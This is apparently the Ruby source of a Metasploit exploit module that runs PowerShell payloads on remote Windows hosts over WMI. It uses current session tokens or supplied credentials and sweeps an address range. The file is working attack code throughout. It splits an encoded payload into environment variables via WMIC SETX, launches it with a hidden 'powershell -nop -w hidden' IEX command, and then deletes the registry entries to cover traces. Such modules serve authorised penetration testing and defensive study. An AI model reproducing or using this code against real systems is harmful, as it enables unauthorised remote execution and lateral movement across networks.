144 lines
4.6 KiB
Ruby
144 lines
4.6 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'msf/core/exploit/powershell'
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require 'rex'
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class Metasploit3 < Msf::Exploit::Local
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Rank = ExcellentRanking
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include Msf::Exploit::Powershell
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include Msf::Post::Windows::WMIC
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Windows Management Instrumentation (WMI) Remote Command Execution',
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'Description' => %q{
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This module executes powershell on the remote host using the current
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user credentials or those supplied. Instead of using PSEXEC over TCP
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port 445 we use the WMIC command to start a Remote Procedure Call on
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TCP port 135 and an ephemeral port. Set ReverseListenerComm to tunnel
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traffic through that session.
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The result is similar to psexec but with the added benefit of using
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the session's current authentication token instead of having to know
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a password or hash.
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We do not get feedback from the WMIC command so there are no
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indicators of success or failure. The remote host must be configured
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to allow remote Windows Management Instrumentation.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'Ben Campbell <eat_meatballs[at]hotmail.co.uk>'
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],
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'References' =>
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[
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[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
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[ 'OSVDB', '3106'],
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[ 'URL', 'http://passing-the-hash.blogspot.co.uk/2013/07/WMIS-PowerSploit-Shells.html' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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'WfsDelay' => '15',
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},
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'DisclosureDate' => 'Jan 01 1999',
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'Platform' => [ 'win' ],
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'SessionTypes' => [ 'meterpreter' ],
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'Targets' =>
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[
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[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
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[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
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],
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'DefaultTarget' => 0
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))
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register_options([
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OptAddressRange.new("RHOSTS", [ true, "Target address range or CIDR identifier" ]),
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# Move this out of advanced
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OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener'])
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])
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deregister_options("RHOST")
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end
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def exploit
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if datastore['SMBUser'] and datastore['SMBPass'].nil?
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fail_with(Failure::BadConfig, "Need both username and password set.")
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end
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Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |server|
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run_host(server)
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end
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end
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def run_host(server)
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# Get the PSH Payload and split it into bitesize chunks
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# 1024 appears to be the max value allowed in env vars
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psh = cmd_psh_payload(payload.encoded).gsub("\r\n","")
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psh = psh[psh.index("$si")..psh.length-1]
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chunks = split_code(psh, 1024)
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begin
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print_status("[#{server}] Storing payload in environment variables")
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env_name = rand_text_alpha(rand(3)+3)
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env_vars = []
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0.upto(chunks.length-1) do |i|
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env_vars << "#{env_name}#{i}"
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c = "cmd /c SETX #{env_vars[i]} \"#{chunks[i]}\" /m"
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result = wmic_command(c, server)
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unless result
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print_error("[#{server}] WMIC command error - skipping host")
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return false
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end
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end
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x = rand_text_alpha(rand(3)+3)
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exec_cmd = "powershell.exe -nop -w hidden -c $#{x} = ''"
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env_vars.each do |env|
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exec_cmd << "+$env:#{env}"
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end
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exec_cmd << ";IEX $#{x};"
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print_status("[#{server}] Executing payload")
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result = wmic_command(exec_cmd, server)
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if result
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if result[:return] == 0
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print_good("[#{server}] Process Started PID: #{result[:pid]}")
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else
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print_error("[#{server}] failed, Return Value: #{result[:return]})")
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end
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else
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print_error("[#{server}] failed...)")
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end
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print_status("[#{server}] Cleaning up environment variables")
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env_vars.each do |env|
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cleanup_cmd = "cmd /c REG delete \"HKLM\\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /V #{env} /f"
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wmic_command(cleanup_cmd, server)
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end
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rescue Rex::Post::Meterpreter::RequestError => e
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print_error("[#{server}] Error moving on... #{e}")
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return false
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end
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end
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def split_code(psh, chunk_size)
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array = []
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idx = 0
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while (idx < psh.length)
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array << psh[idx, chunk_size]
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idx += chunk_size
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end
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return array
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end
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end
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